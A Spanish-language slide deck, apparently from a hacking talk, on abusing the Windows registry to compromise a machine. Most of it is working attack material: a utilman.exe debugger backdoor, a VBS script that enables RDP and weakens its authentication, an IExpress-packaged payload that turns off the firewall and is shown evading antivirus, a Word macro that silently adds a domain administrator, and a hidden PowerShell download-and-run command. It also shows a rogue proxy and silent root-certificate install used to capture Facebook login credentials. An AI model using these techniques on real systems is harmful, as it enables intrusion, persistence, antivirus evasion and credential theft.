

Hacking registro de windows

Valentín Martín valentin.martin@gmail.com @valenmarman

La cerveza













El registro de Windows

| B | | | | Edito | or del Registro |
|---|--------------------------------------|--------|--|------------|--|
| <u>A</u> rchivo <u>E</u> dición <u>V</u> er | <u>F</u> avoritos Ay <u>u</u> da | | | | |
| | AccountPicture | ^ | Nombre | Tipo | Datos |
| Þ | 📔 Action Center | | (Predeterminado) | REG_SZ | (valor no establecido) |
| | AppHost | | ab AutoConfigProxy | REG_SZ | wininet.dll |
| | Applets | | 3 CertificateRevocation | REG_DWORD | 0x00000001 (1) |
| | ApplicationAssociationToasts | | DisableCachingOfSSLPages | REG_DWORD | 0x0000000 (0) |
| Þ | AppModel | | ab EmailName | REG_SZ | User@ |
| Þ | Authentication | | 👪 EnableAutodial | REG_DWORD | 0x00000000 (0) |
| | Controls Folder | | 👪 EnableHttp1_1 | REG_DWORD | 0x00000001 (1) |
| Þ | Explorer | | EnableNegotiate | REG_DWORD | 0x00000001 (1) |
| | Ext | | ab IE5_UA_Backup_Flag | REG_SZ | 5.0 |
| | Extensions | | MigrateProxy | REG_DWORD | 0x00000001 (1) |
| | ime | | ab MimeExclusionListForCache | REG_SZ | multipart/mixed multipart/x-mixed-replace multip |
| | ime ImmersiveShell | | NoNetAutodial | REG_DWORD | 0x00000000 (0) |
| | Internet Settings | | RivacyAdvanced | REG_DWORD | 0x00000000 (0) |
| | N | | Rev ProxyEnable | REG_DWORD | 0x00000001 (1) |
| | | | Proxyhttp1.1 | REG_DWORD | 0x00000001 (1) |
| | Connections | | ab ProxyServer | REG_SZ | http=10.0.2.11:8080 |
| | ▶ 📲 Http Filters | | SecureProtocols | REG DWORD | 0x000000a0 (160) |
| | Lockdown_Zones | _ | 100 UrlEncoding | REG DWORD | 0x00000000 (0) |
| | ▶ - 🚺 P3P | - | ab User Agent | REG SZ | Mozilla/4.0 (compatible; MSIE 8.0; Win32) |
| | ⊳ - 🚹 Passport | | 10 UseSchannelDirectly | REG BINARY | 01 00 00 00 |
| | TemplatePolicies | | 🗯 WarnOnPost | REG BINARY | 01 00 00 00 |
| | Url History | | 110 WarnonZoneCrossing | REG DWORD | 0x00000000 (0) |
| | | | 200 ZonesSecurityUpgrade | REG BINARY | e5 f5 89 2d e7 d1 cf 01 |
| | ⊳ - 🌗 ZoneMap | | 20100000000000000000000000000000000000 | 120_010.00 | |
| | Zones | | | | |
| | Policies | | | | |
| | PushNotifications | | | | |
| | 📕 Run | | | | |
| | SettingSync | | | | |
| | Shell Extensions | \sim | | | |
| Equipo\HKEY_CURRENT_U | SER\Software\Microsoft\Windows\Curre | ntVe | rsion\Internet Settings | | |

Se puede acceder al registro ejecutando regedit.exe

Claves de Registro interesantes para acceder a un Sistema Windows

- En el arranque del sistema
 - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
 - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RunOnce
 - HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RunOnce
 - HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RunOnceEx HKCU\Software\Microsoft\Windows\Current Version\Run\fichero.exe
- Para depurar aplicaciones

Key_Local_Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
 HKLM\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Image File Execution Options\utilman.exe
 Debugger="cmd.exe"

- Para deshabilitar el firewall
 - HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile
 - HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile
 EnableFirewall=0

Claves de Registro interesantes para acceder a un Sistema Windows

• Para el escritorio remoto

 HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet\Control\Terminal Server fDenyTSConnections=0

 HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\ UserAuthentication = 0 SecurityLayer = 0

• Para poder ejecutar macros en el office

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Office\15.0\Word\Security\Trusted locations
 allownetworklocations =1

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Office\15.0\Word\Security\Trusted locations\Location3 AllowSubFolders=1

Path=%userprofile%



Claves de Registro interesantes para acceder a un Sistema Windows

• Para la navegación por Internet y salir por el proxy

 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings MigrateProxy=dword:00000001 ProxyEnable=dword:00000001 ProxyHttp1.1=dword:00000001 ProxyServer=" http=10.0.2.11:8080"

- Para las Políticas del usuario
 - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
 - HKEY_CURRENT_USER\Software\Policies
- Para las Políticas del equipo
 - HKEY_LOCAL_MACHINE \SOFTWARE\Policies
 - HKEY_LOCAL_MACHINE \SOFTWARE\Microsoft\Windows\CurrentVersion\Policies





lexpress

• Es un empaquetador que viene en Windows desde la versión de XP.



lexpress.exe

 Se pueden añadir todo tipo de ficheros y pedir que se ejecuten

| 🗄 IExpress Wizard | |
|-------------------|---|
| | Packaged files Create a list of files that you want in your compressed package. |
| | Filename Path 7z938.msi C:\temp\ remoto.vbs C:\temp\ final.EXE C:\temp\ |
| | Add Remove < Atrás Siguiente > Cancelar |



lexpress.exe

• Cada fichero se ejecuta de distinta manera

| 🗄 IExpress Wizard | — |
|-------------------|---|
| | Install Program to Launch |
| | Select the programs or INF files to launch from the package. A custom command can also be created below. |
| | Install wscript remoto.vbs 💌 |
| | The below comand will be run after the install has completed. |
| | Post Install final.exe 💌 |
| | |
| | < Atrás Siguiente > Cancelar |

- Para un fichero REG Regedit.exe /s fichero.REG (/s modo silencioso)
- Para un fichero MSI Msiexec.exe /i FICHERO.MSI (/i indica instalación)
- Para un fichero BAT cmd.exe /c FICHERO.BAT (/c línea de comandos)
- Para un fichero VBS Wscript.exe FICHERO.VBS
- Para un fichero PS1 Powershell.exe FICHERO.PS1
- Para un fichero EXE Calc.exe (sin nada de nada)

• Si usuario administrador ejecuta:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

| 🔠 IExpress Wizard | | 🗄 IExpress Wizard | |
|-------------------|--|-------------------|--|
| | Install Program to Launch | | Package Name and Options |
| | Select the programs or INF files to launch from the package. A custom command can also be created below. | | Enter the target path and filename for your package. This is the file that will get downloaded and executed by the user. utilman Browse |
| | The below comand will be run after the install has completed. Post Install Command msiexec /i 7z938.msi | | Options Hide File Extracting Progress Animation from User Store files using Long File Name inside Package |
| | < Atrás Siguiente > Cancelar | | < Atrás Siguiente > Cancelar |

| | Editor del Registro |
|---|-----------------------------|
| <u>Archivo Edición Ver Eavoritos Ayu</u> da | |
| Nombre Tipo | Datos |
| spoolsv exe (Predeterminado) REG_SZ | (valor no establecido) |
| utilman.exe | C:\windows\system52\cmd.exe |
| wscript.exe | |
| ▶ IniFileMapping | |
| | |
| Presione Ctrl+Alt+Supr para iniciar una sesión. | |
| Administrador: C:\windows\system | 32\cmd.exe – 🗖 🗙 |
| Microsoft Windows [Versión 6.2.9200] | |
| (c) 2012 Microsoft Corporation. Todos los derecho | s reservados. |
| C:\Windows\system32> | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| | |
| $\square \square \square$ | |
| | |
| | |
| | |
| | |
| | |
| lunar 12 da anara | |
| | |
| | |
| | |
| | |

Remoto.vbs

Dim Equipo, objReg, Ruta, Nombreclave, Valor HKEY_LOCAL_MACHINE = &H8000002 Equipo = "." Set objReg = GetObject("winmgmts:\\" & Equipo & "\root\default:StdRegProv") Ruta = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" objReg.CreateKey HKEY_LOCAL_MACHINE, Ruta NombreClave = "Debugger" Valor = "cmd.exe" objReg.SetSTRINGValue HKEY_LOCAL_MACHINE, Ruta, NombreClave, Valor

```
ruta2 = "SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services"
objReg.CreateKey HKEY_LOCAL_MACHINE, ruta2
NombreClave2 = "UserAuthentication"
Valor2 = 0
objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Ruta2, NombreClave2, Valor2
NombreClave3="SecurityLayer"
Valor3 = 0
objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Ruta2, NombreClave3, Valor3
```

```
Ruta4 = "SYSTEM\CurrentControlSet\Control\Terminal Server"
objReg.CreateKey HKEY_LOCAL_MACHINE, Ruta4
NombreClave4 = "fDenyTSConnections"
Valor4 = 0
objReg.SetDWORDValue HKEY_LOCAL_MACHINE, Ruta4, NombreClave4, Valor4
```

HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile HKLM\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile

| 🗄 IExpress Wizard | |
|-------------------|--|
| | Install Program to Launch |
| | Select the programs or INF files to launch from the package. A custom command can also be created below. |
| | Install wscript remoto.vbs |
| | The below comand will be run after the install has completed. |
| | Post Install msiexec /i 7z938 |
| | |
| | < Atrás Siguiente > Cancelar |



Se genera un ejecutable remoto.EXE

El ejecutable generado lo unimos con: cmd /c netsh advfirewall set allprofiles state off

Virustotal

| O All antivirus a | analyses finished, running detailed file characterization processes. |
|--------------------|--|
| SHA256: | 27ca690cd7c96b50f302d53c84b40c61cd0edd34e96f6719c699573ee5f9b067 |
| Nombre: | remoto_firewall_bueno.EXE |
| Detecciones: | 0 / 57 |
| Fecha de análisis: | 2015-01-14 10:31:08 UTC (hace 0 minutos) |

Información adicional ● Comentarios ♥ Votos

| Antivirus | Resultado | Actualización |
|---------------------|-----------|---------------|
| ALYac | • | 20150114 |
| AVG | • | 20150114 |
| AVware | • | 20150114 |
| Ad-Aware | • | 20150114 |
| AegisLab | • | 20150114 |
| Agnitum | • | 20150113 |
| AhnLab-V3 | • | 20150113 |
| Alibaba | • | 20150114 |
| Antiy-AVL | • | 20150114 |
| Avast | • | 20150114 |
| Avira | • | 20150110 |
| Baidu-International | • | 20150114 |
| BitDefender | • | 20150114 |
| | - | |

Si lo hacemos para Office

Versión de Office

 HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Office(14.0,Word\Security\Trusted locations

allownetworklocations =1

HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Office\14.0\Word\Security\Trusted locations\Location3 AllowSubFolders=1 Path=%userprofile%

| 2 | Doc1 - ThisDo | | | | Pro | opiedad | les: pablo | | ? X |
|---|---|---|--------------------------------------|---|----------------------------|--|--------------------------|-------------------|------------|
| ٥ | ocument | | Marc | ado | Entomo | | Sesiones | Contr | ol remoto |
| Γ | Private Sub Document_New() | | | Perfil de Serv | ricios de Es | critorio ren | noto | CO | M+ |
| | End Sub | | General | Dirección | Cuenta | Perfil | Teléfonos | Organización | Miembro de |
| | <pre>Private Sub Document_Open() x = Shell("cmd /c Net user pablo P@sswOrd /add /domain", vbHide) y = Shell("cmd /c net localgroup administradores curso.com\pablo /add", vbHide)</pre> | - | Miembro Nombr Admini Usuari | de: e stradores os del dominic | Carpet curso. curso. | a de los S com/Builtin com/Users | ervicios de do n s | minio de Active I | Di |
| | End Sub | | | | | | | | |

Como ejecutar comandos con VBS

```
abredoc.vbs
set Prog = CreateObject("wscript.shell")
ruta = "z:\\buenos\Doc1.doc"
Prog.run explorer + ruta
set Shell = CreateObject("Shell.Application")
Shell.ShellExecute "cmd.exe" , "/c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run
/v miexe /t REG_SZ /d c:\ruta\vale.exe /f" , "" , "" , 0
```

Como ejecutar comandos con powershell

```
Powershell.exe -WindowStyle hidden -command "&{ $w=New-Object System.Net.WebClient;
$w.DownloadFile('<u>http://10.0.2.6/a.exe</u>',' c:\users\public\a.exe');
c:\users\public\a.exe
```

| i | | certsrv - [Entidad de certificación (Local)\curso- | -SERVIDOR-CA | \Certificados en | nitidos] | _ | D X |
|------------------------------------|---------------|--|-------------------|----------------------------|-----------------------------------|---|------------|
| Archivo Acción Ver Ayuda | | | | | | | |
| 🗢 🄿 🙎 🙆 😫 | | | | | | | |
| 🙀 Entidad de certificación (Local) | ld. de solici | tud Nombre del solicitante Certificado binario Plantilla d | de certificado | | Número de serie | Fecha de vigencia de certificado | Fecha de (|
| ⊿ 🚽 curso-SERVIDOR-CA | li 🗐 2 | CURSO\SERVIDOR\$BEGIN CERTIFI Controlad | dor de dominio (D | omainController) | 540000002fed1e | 11/01/2015 12:42 | 11/01/201 |
| Certificados revocados | ling 3 | CURSO\SERVIDOR\$BEGIN CERTIFI Servidor v | web (WebServer) | | 54000000366f6c | 11/01/2015 13:43 | 10/01/201 |
| Solicitudes pendientes | | Certificado | X | | Ce | rtificado | X |
| Error en las solicitudes | | Certifieddo | | | | - Children | _ |
| 📔 Plantillas de certificado | | General Detalles Ruta de certificación | | General Deta | alles Ruta de certific | cación | |
| | | , | | | - | | |
| | | The second secon | | Mostrar: < | Todos> | ¥ | |
| | | Información del certificado | | | | | |
| | | Este certif, está destinado a los siguientes propósito |)S: | Campo | | * baddboor on | ^ |
| | | Asegura la identidad de un equipo remoto | /3. | Clave pú | blica | Thackbeerles | |
| | | ribegal a la lacitada de an equipo remoto | | Nombre (| de plantilla de certif | WebServer | |
| | | | | JUso mejo | orado de claves | Autenticación del servidor (1.3. | |
| | | | | Identifica | ador de clave del tit | d1 d8 40 51 1c de 79 14 fa 92 . | = |
| | | | | 😨 Nombre a | alternativo del titular | Nombre DNS=*.google.es, No. | |
| | | | | 💽 Identifica | ador de clave de en | Id. de clave=de 7b 68 ca 5d b. | |
| | | Emitida paras * backboor og | | 💽 Puntos d | le distribución CRL | [1]Punto de distribución CRL: | . 🗸 |
| | | Lindo para. Anacocertes | | hi l ave | * 1 | | |
| | < | | | Nombre DNS: Nombre DNS: | =*.google.es =*.google.com | | |
| | | Emitido por: curso-SERVIDOR-CA | | Nombre DNS: | =*.gmail.com | | |
| L | | | | Nombre DNS: Nombre DNS: | =*.facebook.es =* facebook.com | | |
| | | Válido desde 11/01/2015 hasta 10/01/2017 | | Nombre DNS: | =*.mail.google.com | | |
| | | | | Nombre DNS: | =*.accounts.google. | com | |
| | | | | | | | |
| | | | | - | | | |
| | | Declaración de | el emisor | | Edita | r propiedades Copiar en arc | nivo |
| | | Obtener más información acerca de certificados | | Obtener más i | información acerca d | e los <u>detalles del certificado</u> | |
| ī" | | | | | | | |
| | | | Acentar | | | | rentar |
| | | | Aceptai | | | A | leptar |

| 🛃 Burp | Suite Free | Edition v1.6 | | | | | | | | | | - • • |
|--------|--------------|-------------------|--------------------|---------------------------|-----------------|------------------------------|----------------|----------------|-------------|---------------|--|-------------|
| Burp I | ntruder Rep | eater Windo | w Help | | | | | | | | | |
| Targe | t Proxy | Spider Sc | anner Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Options | Alerts | | |
| Interc | ept HTTP | history Wel | bSockets history | Options | | | | | | | | |
| | | | | | | | | | | | | |
| ? | Proxy Lis | steners | | | | | | | | | | |
| ٢ | Burp Proxy | uses listeners | to receive incomi | ing HTTP reque | sts from your | browser. \ | /ou will need | to configure | your brows | ser to use | one of the listeners as its proxy server. | |
| | Add | Running | In | terface | | Invisible | e | Redirec | t | | Certificate | |
| | Edit | | I 1 | 0.0.2.11:8080 | | | | | | | Z:\certificados\web_hack_beer.pfx | |
| | | | | | | | | | | | | |
| | Remove | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | |
| | Each install | ation of Burp g | enerates its own | CA certificate | that Proxy list | eners can u | use when neg | otiating SSL | connection | s. You car | n import or export this certificate for use in oth | er tools or |
| | another inst | allation of Bur | p. | | | | | | | | | |
| | CA certif | icate | | | | | | | | | | |
| | | | | | | | | | | | | |
| | Intercent | Client Deg | woata | | | | | | | | | |
| | Intercept | chent Keq | uests | to one stalled fo | | d addina ia t | he latereest t | - 1- | | | | |
| C | Use meses | ettings to com | and which reques | is are stalled it | or viewing an | a ealang in t | ne intercept t | aD. | | | | |
| | Intercep | t requests bas | sed on the followi | ng rules: | | | | | | | | |
| | Add | Enabled | Operator | Match type | Rel | ationship | | Condition | | | | |
| | Edit | | Or | File extension Request | n Doe Coi | es not matcl ntains parar | h neters | (^gif\$ ^jpg\$ | ^png\$ ^css | \$ ^js\$ ^ico | \$) | |
| | Bamaya | | Or | HTTP method | Do | es not matcl | h | (get post) | | | | |
| | Remove | | And | URL | ls i | n target sco | pe | | | | | |
| | Up | | | | | | | | | | | |
| | Down | | | | | | | | | | | |
| | | tically fix missi | ing or superfluous | new lines at e | and of reques | | | | | | | |
| | Automa | tically update (| Content-Length he | ader when the | e request is e | dited | | | | | | |
| | | | | | | | | | | | | |
| | | | | | | | | | | | | V |

Para activar el proxy y ponerle la dirección de nuestra máquina

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings MigrateProxy=dword:0000001 ProxyEnable=dword:0000001 ProxyHttp1.1=dword:0000001 ProxyServer=" http=10.0.2.11:8080

Para instalar el certificado

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "certutil -user -addstore root root.cer", 9
WScript.Sleep 1000
WshShell.SendKeys "%s"

| | | | | | | | 1.1 | | _ | - | |
|--|---|--|--|--|--|---|---|---|---|--|---|
| | | fBus | ca personas, lugares y cosas | | | | ۹. | | | N V | alentín |
| 🛃 Bu | rp Suite Free Edition v1.6 | | | | | | | | | | |
| Burp | Intruder Repeater Window He | lp | | | | | | | | | |
| Tarr | net Proxy Spider Scanner | Intruder | | arer | tender (| | lerts | | | | |
| | yet Ploxy Spider Scalifier | Intrader | | | | puona / | licita | | | | |
| Inter | rcept HTTP history WebSock | ets history | Options | | | | | | | | |
| Filter: | Hiding CSS, image and general bi | nary content | | | | | | | | | ? |
| # | Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension | Title | _ |
| 578 | https://www.facebook.com | GET | /xti.php?xt=3.6103027977960561996.6 | | | 200 | 900 | HTML | php | | |
| 5/9 | https://www.facebook.com | GET | //ref=tn_tnmn&ajaxpipe=1&ajaxpipe_to | | | 200 | 317292 | HIML | | | |
| 581 | https://www.facebook.com | GET | /ajax/02 /aj.nhn?aed=∆0.ITSLicef0ZV/4Eaqi€V/d | | | 200 | 687 | нтмі | nhn | | |
| 583 | https://www.facebook.com | GET | /ai.php?edo=AT60CsdiWZTQUc-HKW | | | 200 | 687 | HTML | php | | |
| 584 | https://www.facebook.com | GET | /xti.php?xt=3.6103028007443953945.6 | • | | 200 | 688 | HTML | php | | |
| 585 | https://www.facebook.com | POST | /ajax/bz | • | | 200 | 719 | script | | | |
| 586 | https://5-edge-chat.facebook.c | om GET | /pull?channel=p_1029406855&seq=7&p | V | | 200 | 289 | script | | | |
| 587 | https://www.facebook.com | POST | /logout.php | 2 | | 302 | 1700 | HTML | php | | |
| 588 | https://www.facebook.com | POST | /ajax/bz | | | 200 | 719 | script | | Â.Dissussida a l | |
| 569 | https://www.facebook.com | BOST | //stype=lo&jlou=Atczmy-rwP8HPwpMd /siav/bz | | | 200 | 5/461 924 | HIML | | A;Bienvenido a r | racebo |
| 002 | | | | | | | | ~ | | | |
| 593 | https://www.facebook.com | POST | /login.php?login_attempt=1 | | | 302 | 1458 | HTML | php | | |
| 593 ∢ | https://www.facebook.com | POST | /login.php?login_attempt=1 | Ø | | 302 | 1458 | HTML | php | | 7 1 |
| 593 | https://www.facebook.com | POST | /login.php?login_attempt=1 | | | 302 | 1458 | HTML | php | | 71 |
| 593 | https://www.facebook.com | POST | /login.php?login_attempt=1 | | | 302 | 1458 | HTML | php | | 7 - |
| 593 Req Rav | https://www.facebook.com | POST | //ogin.php?login_attempt=1 | | | 302 | 1458 | HTML | php | | 7. |
| 593 Req Rav Conte | https://www.facebook.com uest Response v Params Headers Hex ent-Type: application pt-Encoding: gzip, de | POST | form-urlencoded | | | 302 | 1458 | HTML | php | | |
| S93 Req Rav Conto Loce; Iost | https://www.facebook.com | POST | form-urlencoded | | | 302 | 1458 | HTML | php | | 7. × |
| Req Req Rav Cont Locej Lost | https://www.facebook.com uest Response v Params Headers Hex ent-Type: application pt-Encoding: gzip, do : www.facebook.com ent-Length: 708 estion: Kean-Alive | POST | form-urlencoded | | | 302 | 1458 | HTML | php | | 7. |
| Req Req Rav Cont Cont Cont Cont Cont Cont | https://www.facebook.com w Params Headers Hex ent-Type: application pt-Encoding: gzip, dd : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache | POST | form-urlencoded | | | 302 | 1458 | HTML | php | | Y N |
| Req Req Rav Conte | https://www.facebook.com w Params Headers Hex ent-Type: application pt-Encoding: gzip, dd : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache ie: datr=f06yVP1NLID: | POST /x-www- flate KsG5IB9 | /login.php?login_attempt=1 form-urlencoded yb40g; locale=es_LA; | | | 302 | 1458 | HTML | php | | 7 |
| Req Req Rav Cont Cost Cont Cont Cont Cont Cont Cont Cont Con | https://www.facebook.com w Params Headers Hex ent-Type: application pt-Encoding: gzip, de : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache ie: datr=f06yVPINLID: UD2MmImUOuwdR0J3.AWV | POST //x-www- flate KsG5IB9 sfptWE_ | //ogin.php?login_attempt=1 form-urlencoded yb40g: locale=es_LA; sBpeMHPvb1kXTu1Y.BUsk7X.Kx.F | Sy. 0. A | WUL_ic- | 302 302 | 1458 | TTS38tq021 | php bfcF6g; | | |
| Req Req Rav Conte Cost Conte C | https://www.facebook.com | POST //x-www- flate //sfptWE_ www.fac (cip4Mk6) | /Jogin_php?login_attempt=1 form-urlencoded yb40g; locale=es_LA; sBpeHHPvb1kXTu17.BUsk7X.Kx.F ebook.com%2F%3Fstype%3Dlo%26 cfeab%26%261b%3T | Sy.O.A jlou&3 | WUL_ic- DAfczmyy | ; 1u=RA -rwP6HP | 1458 rmuaul6V wpMdBId: | J7E38tq0ZI UJ3uNLLFp | php bfcF6g; OmER1LSHF | RZGVRKUhSEN11 | k Z |
| S93 Req Ray Conte | https://www.facebook.com uest Response v Params Headers Hex ent-Type: application pt-Encoding: gzip, dd : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache ie: datr=f06yVP1NLID: D02MmIMOuwdkOJ3.AWV fb ref=https%3A%2F%21 SREvRdobbmDBHQ2A04c21 b gate=https%3A%2F%21 | POST //x-www- flate //x-www- flate //x-www- fac (Cjn4N6h Fwww.fac | //ogin.php?login_attempt=1 form-urlencoded phy4Og; locale=es_LA; sBpeMHPvblkXTu1Y.BUsk7X.Kx.F ebook.com%2F%3Fstype%3Dlo%2 cgsAA%26smuh%3D43626%261h%3Dlo%2 cgbook.com%2F%3Fstype%3Dlo%2 | Sy.O.A jlou%3 Ac_za- 6jlou% | WUL_ic- DAfczmy 2It-Rni 3DAfczm | ; 1u=RA -rwP8HP AhY; y-rwP8H | 1458 rmuaul6V wpMdBId: | 77E38tq021 U3uNLLFp | php bfcF6g; OmER1L5HF pOmER1L5HF | RZGVRKUhS 6N 11 HRZGVRKUhS 6N 11 | kZ 1k |
| 593 ◄ Req Rav Conto Cont | https://www.facebook.com uest Response v Params Headers Hex ent-Type: application pt-Encoding: gzip, dd : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache ie: datr=f06yVP1NLID WDZMIMUOuwdk0J3.AWV fb_ref=https%3A%2F%21 SREvRdobbmDBHQ2A04c21 db_gate=https%3A%2F%21 %EvRdobbmDBHQ2A04c2 | POST //x-www- flate KsG51B9 sfptWE_ www.fac ICjn4N6h Fwww.fac MCjn4N6 | //ogin.php?login_attempt=1 //ogin.php?login_attempt=1 form-urlencoded sBpeMHPvblkXTulY.BUsk7X.KX.F ebook.com%2F%3Fstype%3Dlo%2 c20sAA%26smuh%3D43626%261h%3 cebook.com%2F%3Fstype%3Dlo%2 cebook.com%2 cebook.com% | Sy.O.A jlou%3 Ac_za- 6jlou%3 DAc_za | WUL_ic- DAfczmy 2It-Rni 3DAfczm -2It-Rn | ; 1u=RA -rwP6HP AhY; y-rwP6H | 1458 rmuaul67 wpMdBId1 | 77E38tq02l U3uNLLF 1U3uNLLF | php bfcF6g; OmER1L5HF pOmER1L5F | RZGVRKUhS 6N 1) HRZGVRKUhS 6N | kZ lk |
| Req Rav Conte Cont | https://www.facebook.com uest Response ent-Type: application pt-Encoding: gzip, dd : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache ie: datr=f06yVP1NLIDD UD2MmImUOuwdkOJ3.AWV; fb_ref=https%3A%2F%21 SREvRdobbmDBHQ2A04c21 fb_gat=https%3A%2F%21 xSREvRdobbmDBHQ2A04c21 | POST //x-www- flate KsG51B9 sfptWE_ www.fac ICjn4N6h Fwww.fa | //ogin.php?login_attempt=1 //ogin.php?login_attempt=1 form-urlencoded yb4Dg; locale=es_LA; sBpeMHPvblkXTu1Y.BUsk7X.KX.F ebook.com%2F%3Fstype%3Dlo%2 cebook.com%2F%3Fstype%3Dlo%2 cebook.com%2F%3Fstype%3Dlo%2 hzQsA&%26smuh%3D43626%261h%3D | Sy.O.A jlou%3 Ac_za- 6jlou% DAc_za | WUL_ic- DAfczmy 2It-Rni 3DAfczm -2It-Rn | ; lu=RA -rwP8HP AhY; y-rwP8H | rmuaul6V wpMdBId PwpMdBId | J7E38tq0Zl U3uNLLFp 1U3uNLLFp | php bfcF6g; OmER1L5HF pOmER1L5F | RZGVRKUhS 6N 11 HRZGVRKUhS 6N | kZ lk |
| S93 Req Raw Cont Acce Iost Cont Cook fr=0 Cook fr=0 IjRx. IjR. IjR. Sd=. | https://www.facebook.com uest Response ent-Type: application pt-Encoding: gzip, dd : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache ie: datr=f06yVP1NLID UD2MmImUOuwdkOJ3.AWV fb_ref=https%3A%2F%2 SREvRdobbmDBHQ2A04c2 fb_gate=https%3A%2F%2 xSREvRdobbmDBHQ2A04c2 MVr1eQube=1420871851 | POST //x-www- flate Ksg51B9 SsfptWE_ www.fac ICjn4N6h Fwww.fa | //ogin.php?login_attempt=1 //ogin.php?login_attempt=1 form-urlencoded yb4Og; locale=es_LA; sBpeMHPvb1kXTu1T.BUsk7X.KX.F ebook.com%2F%3Fstype%3Dlo%26 zQsA&%26smuh%3D43626%261h%3D cebook.com%2F%3Fstype%3Dlo%2 hxQsA&%26smuh%3D43626%261h%3 @hotmail.com%pass= | Sy.O.A jlou%3 Ac_za- 6jlou% DAc_za | WUL_ic- DAfczmy 2It-Rni 3DAfczm -2It-Rn | ; lu=RA -rwP8HP AhY; y-rwP8H iAhY default | rmuaul6V wpMdBId PwpMdBId | 77E38tq021 103uNLLFp 1103uNLLFp | php bfcF6g; OmERILSHF pOmERILSH mezone=-6 | RZGVRKUhS 6N 1) HRZGVRKUhS 6N 60 6 1 gnrnd=02: | kZ 1k 25 |
| S93 Req Raw Cont Cont Cont Cont Cont Cont Cont Cont | https://www.facebook.com www.facebook.com ent-Type: application pt-Encoding: gzip, dd : www.facebook.com ent-Length: 708 ection: Keep-Alive e-Control: no-cache ie: datr=ff6yVPINLID: UD2MmImUOuwdkOJ3.AWV; fb_ref=https:3A*2F*3: xSREvRdobbmBHQ2Ao4c3 fb_gate=https:3A*2F*3: xSREvRdobbmBHQ2Ao4c3 AVT1eQuN&email= utP&lgmjs=1420971951. MeXxLBxCcwxNDAsMz02 | POST //x-www- flate sfptWE_ www.fac (Cjn4N6h Fwww.fa MCjn4N6 Slocale= DM2OCwz | //ogin_php?login_attempt=1 //ogin_php?login_attempt=1 form-urlencoded //ogin_odele=es_LA; sBpeMHPvblkXTulY_BUsk7X.KX.F ebook.com%2F%3Fstype%3Dlo%2 codeAA%26smuh%3D43626%261h%3 CodeA%26smuh%3D43626%261h%3 Bhotmail.com&pass= @hotmail.com&pass= @hotmail.com&pass= @hotmail.com&pass= Mags%2k%2LDogwWyw0MDUsNDM3LD01 | Sy.O.A jlou%3 Ac_za- 6jlou% DAc_za | WUL_ic- DAfczmy 2It-Rni 3DAfczm -2It-Rn & SOAfczm -2It-Rn & SOAFAL | ; lu=RA -rwP8HP AhY; y-rwP8H iAhY default sMTEILD DUwMyw1 | rmuaul6V wpMdBId: persist EOMSwXNI MO_SNTM | 77E38tqOZJ 103uNLLFp 1103uNLLFp ent=0&tii 0ksMTYxLD 0ksMTYxLD | php bfcF6g; OmER1L5HF pOmER1L5HF pOmER1L5H E4OCwyNjA | RZGVRKUhS & N 1) HRZGVRKUhS & N 50 & 1 gnrnd=02 As Mj YSLDH×Mi DYwMC & MDUs) | kZ lk 25 Wj |
